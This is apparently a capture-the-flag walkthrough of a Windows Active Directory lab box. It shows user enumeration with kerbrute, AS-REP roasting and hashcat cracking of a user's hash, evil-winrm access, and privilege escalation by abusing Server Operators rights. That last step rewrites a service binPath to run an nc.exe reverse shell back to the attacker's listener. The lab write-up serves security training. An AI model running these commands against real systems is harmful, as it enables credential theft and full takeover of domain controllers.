Export the target machine's IP as an environment variable. This way you can call the IP by just using $target in your terminal rather than typing the full address.

┌──(root㉿user)-[/home/user/bhs]
└─# export target=10.144.132.8
                                                                                          
┌──(root㉿user)-[/home/user/bhs]
└─# echo $target                
10.144.132.8

Then run our nmap scans against the target to evaluate what services are available:

┌──(root㉿user)-[/home/user/Desktop/HTBox/ledgerTHM]
└─# nmap -p- -Pn $target -v -T5 --min-rate 1500 --max-rtt-timeout 500ms --max-retries 3 --open -oN nmap.txt && nmap -Pn $target -sVC -v && nmap $target -v --script vuln -T5 

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Above Services
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-27 18:22:35Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: services.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: services.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=WIN-SERVICES.services.local
| Issuer: commonName=WIN-SERVICES.services.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-03-26T18:20:53
| Not valid after:  2026-09-25T18:20:53
| MD5:   7756:39ef:e717:e20a:9366:3760:6cf1:91eb
|_SHA-1: 4168:bbf1:c166:e923:cdf2:a0ed:d758:68f5:484f:0429
|_ssl-date: 2026-03-27T18:22:48+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: SERVICES
|   NetBIOS_Domain_Name: SERVICES
|   NetBIOS_Computer_Name: WIN-SERVICES
|   DNS_Domain_Name: services.local
|   DNS_Computer_Name: WIN-SERVICES.services.local
|   Product_Version: 10.0.17763
|_  System_Time: 2026-03-27T18:22:39+00:00
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: WIN-SERVICES; OS: Windows; CPE: cpe:/o:microsoft:windows

Looking at the nmap scan we can note the following:

Domain:services.local FQDN:WIN-SERVICES.services.local NetBios_Computer_Name:WIN-SERVICES

Make sure you add these entries to your /etc/hosts file:

┌──(root㉿user)-[/home/user]
└─# cat /etc/hosts          
10.144.132.8 WIN-SERVICES.services.local services.local WIN-SERVICES

Finding usernames: we came up with nothing using rpcclient, ldapsearch impacket-GetADUsers etc. so I decided to enumerate the website on port 80.

On the /about.html of the website we have a list of employees.

None

In Medium / Hard boxes it is often the case that you need to obtain a custom user list so I took these employee names and saved them to a line by line list (users.txt)

┌──(root㉿user)-[/home/user/Downloads/username-anarchy-master]
└─# cat users.txt 
Joanne Doe
Jack Rock
Will Masters
Johnny LaRusso

I then used a tool called username-anarchy to give me a line by line list of every possible permutation of these names as a login.

┌──(root㉿user)-[/home/user/Downloads/username-anarchy-master]
└─# ./username-anarchy --input-file users.txt
joanne
joannedoe
joanne.doe
joannedo
joandoe
joanned
j.doe
jdoe
djoanne
d.joanne
doej
doe
<SNIP>

I then took this customized userlist and used kerbrute-userenum to run it against the target's KDC. We are trying to establish naming conventions and we can see we get confirmation that the username format is (first initial — surname@services.local).

┌──(root㉿user)-[/home/user/Downloads]
└─# ./kerbrute_linux_amd64 userenum --dc $target -d services.local ./users.txt
__             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        
Version: v1.0.3 (9dad6e1) - 03/27/26 - Ronnie Flathers @ropnop
2026/03/27 11:32:00 >  Using KDC(s):
2026/03/27 11:32:00 >   10.144.132.8:88
2026/03/27 11:32:01 >  [+] VALID USERNAME:  j.doe@services.local
2026/03/27 11:32:01 >  [+] VALID USERNAME:  j.rock@services.local
2026/03/27 11:32:01 >  [+] VALID USERNAME:  w.masters@services.local
2026/03/27 11:32:01 >  [+] VALID USERNAME:  j.larusso@services.local
2026/03/27 11:32:01 >  Done! Tested 57 usernames (4 valid) in 0.466 seconds

With a valid set of usernames you can firstly look to asreproast.

  • The Request: You send an AS-REQ (Authentication Request) to the Domain Controller for a username. Since pre-authentication is disabled, the DC doesn't ask for a password first.
  • The "Roast": The DC sends back an AS-REP (Authentication Response) which contains a portion encrypted with the user's password hash.
┌──(root㉿user)-[/home/user/Desktop/HTBox/servicesTHM]
└─# impacket-GetNPUsers -dc-ip $target -users users.txt -request 'services.local/' -format hashcat
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] User j.doe doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$j.rock@SERVICES.LOCAL:9ccfa7990446d4c3f6b1e0d8c4c916f0$81d34f91acf50adbb0cf154f5c600904242f0c41a130d74e336ea726d8570b0c6ac3778e5e757126e5b6a227507d8859c7be2561132add36836edf31222561afd3d191601f6751612cd254f9477aec0cf17bb8b4bc732b5befcad8d29cc31c83b385c594809db0fd193134acf2c7515c6f7e15100f1ba1f2b6a257ae9d457254679cbbadd919da5e094edf124cab452a33066d97702d18cccbf376257d1264d89fa73d0db5607506aa0a91be9ea1247ac35d360e42ceb77e0ee04514696705e7f47d6fdec747282ac33644d600d58c180cee8603064e8a120c2ab025f6a3fd1d6d695fa18144f52b2b78cbcf650420cb
[-] User w.masters doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.larusso doesn't have UF_DONT_REQUIRE_PREAUTH set

We get the Auth Response for j.rock. We can then copy this hash into a txt file hash.txt and run the classic wordlist rockyou.txt against it to see if it cracks.

┌──(root㉿user)-[/home/user/Desktop/HTBox/servicesTHM]
└─# hashcat hash.txt /usr/share/wordlists/rockyou.txt       
hashcat (v7.1.2) starting in autodetect mode

<SNIP> 

$krb5asrep$23$j.rock@SERVICES.LOCAL:9ccfa7990446d4c3f6b1e0d8c4c916f0$81d34f91acf50adbb0cf154f5c600904242f0c41a130d74e336ea726d8570b0c6ac3778e5e757126e5b6a227507d8859c7be2561132add36836edf31222561afd3d191601f6751612cd254f9477aec0cf17bb8b4bc732b5befcad8d29cc31c83b385c594809db0fd193134acf2c7515c6f7e15100f1ba1f2b6a257ae9d457254679cbbadd919da5e094edf124cab452a33066d97702d18cccbf376257d1264d89fa73d0db5607506aa0a91be9ea1247ac35d360e42ceb77e0ee04514696705e7f47d6fdec747282ac33644d600d58c180cee8603064e8a120c2ab025f6a3fd1d6d695fa18144f52b2b78cbcf650420cb:Serviceworks1
                                                          
Session..........: hashcat
Status...........: Cracked

Successful: j.rock:Serviceworks1

I used NXC's spider module to see what shares the user had access to and saw that the user had extensive share access on the target.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
┌──(root㉿user)-[/home/user/Desktop/HTBox/servicesTHM]
└─# nxc smb $target -u j.rock -p Serviceworks1 -M spider_plus
SMB         10.144.132.8    445    WIN-SERVICES     [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-SERVICES) (domain:services.local) (signing:True) (SMBv1:False)
SMB         10.144.132.8    445    WIN-SERVICES     [+] services.local\j.rock:Serviceworks1 
SPIDER_PLUS 10.144.132.8    445    WIN-SERVICES     [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.144.132.8    445    WIN-SERVICES     [*]  DOWNLOAD_FLAG: False
SPIDER_PLUS 10.144.132.8    445    WIN-SERVICES     [*]     STATS_FLAG: True
SPIDER_PLUS 10.144.132.8    445    WIN-SERVICES     [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.144.132.8    445    WIN-SERVICES     [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.144.132.8    445    WIN-SERVICES     [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.144.132.8    445    WIN-SERVICES     [*]  OUTPUT_FOLDER: /root/.nxc/modules/nxc_spider_plus
SMB         10.144.132.8    445    WIN-SERVICES     [*] Enumerated shares
SMB         10.144.132.8    445    WIN-SERVICES     Share           Permissions     Remark
SMB         10.144.132.8    445    WIN-SERVICES     -----           -----------     ------
SMB         10.144.132.8    445    WIN-SERVICES     ADMIN$          READ            Remote Admin
SMB         10.144.132.8    445    WIN-SERVICES     C$              READ,WRITE      Default share
SMB         10.144.132.8    445    WIN-SERVICES     IPC$            READ            Remote IPC
SMB         10.144.132.8    445    WIN-SERVICES     NETLOGON        READ            Logon server share 
SMB         10.144.132.8    445    WIN-SERVICES     SYSVOL          READ            Logon server share 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

With the above information gleaned I decided it was best to begin enumerating privilege escalation paths directly via shell access using evil-winrm.

┌──(root㉿user)-[/home/user]
└─# evil-winrm -i $target -u j.rock -p Serviceworks1   
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\j.rock\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                  Type             SID          Attributes
=========================================== ================ ============ ==================================================
Everyone                                    Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators                    Alias            S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448

We are members of the important group 'Server Operators'. Members of this group have the ability to stop, start and pause certain services AND modify binary paths for services.

There is a great article that delves into this by Raj here

The CPTS also deals with privilege escalation via Server Operators group but this particular method isn't applicable here as we don't have the correct privileges.

Firstly, check to see what services are running on the machine:

*Evil-WinRM* PS C:\Users\j.rock\Desktop> services
Path                                                                           Privileges Service          
----                                                                           ---------- -------          
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe                            True ADWS             
"C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"                                   True AmazonSSMAgent   
"C:\Program Files\Amazon\XenTools\LiteAgent.exe"                                     True AWSLiteAgent     
"C:\Program Files\Amazon\cfn-bootstrap\winhup.exe"                                   True cfn-hup          
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe                        True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe                                                     True PerfHost         
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"          False Sense            
C:\Windows\servicing\TrustedInstaller.exe                                           False TrustedInstaller 
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2302.7-0\NisSrv.exe"        True WdNisSvc         
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2302.7-0\MsMpEng.exe"       True WinDefend        
"C:\Program Files\Windows Media Player\wmpnetwk.exe"                                False WMPNetworkSvc

Secondly, choose a service and confirms that it runs as SYSTEM (we are choosing AmazonSSMAgent)

*Evil-WinRM* PS C:\Users\j.rock\Desktop> sc.exe qc AmazonSSMAgent
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: AmazonSSMAgent
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Users\j.rock\Desktop\shell.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Amazon SSM Agent
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

Privilege Escalation: modify the binary path to execute a netcat binary with a reverse shell command back to our listener.

a) setup a listener on your kali machine in the same directory where you are hosting your netcat binary

┌──(root㉿user)-[/home/user/Desktop/HTBox/tools]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

download the netcat binary from your kali machine onto the target

*Evil-WinRM* PS C:\Users\j.rock\Documents> powershell wget http://192.168.128.50:8000 -OutFile C:\Users\j.rock\Documents\nc.exe
*Evil-WinRM* PS C:\Users\j.rock\Documents> dir

    Directory: C:\Users\j.rock\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        3/30/2026   4:38 PM           3301 nc.exe

b) modify the binary path to utilize nc.exe to initiate a connection back to our kali machine / port

*Evil-WinRM* PS C:\Users\j.rock\Documents> sc.exe config AmazonSSMAgent binPath="C:\Users\j.rock\Documents\nc.exe -e cmd.exe 192.168.128.50 4444"
[SC] ChangeServiceConfig SUCCESS

c) play around with stopping / starting the service

*Evil-WinRM* PS C:\Users\j.rock\Desktop> sc.exe start AmazonSSMAgent
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.

You should receive a connect back on your listener

┌──(root㉿user)-[/home/user/Desktop/HTBox/servicesTHM]
└─# nc -lvnp 4444                         
listening on [any] 4444 ...
connect to [192.168.128.50] from (UNKNOWN) [10.144.141.19] 56013
Microsoft Windows [Version 10.0.17763.4010]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Note: I haven't used THM for a number of years (only just got a subscription to fully prepare for the OSCP) but I am quite surprised at how badly the labs perform. It took multiple attempts to get this to work despite the steps to replicate remaining identical.

Privilege Escalation: Method 2

You can also place a specifically crafted .exe in the binary path (rather than using netcat) and stop / start the service to call this malicious file.

Raj details the workflow for this in his article (Exploitation Method 2) so if you want further steps just jump on over there as the result is the same for either technique.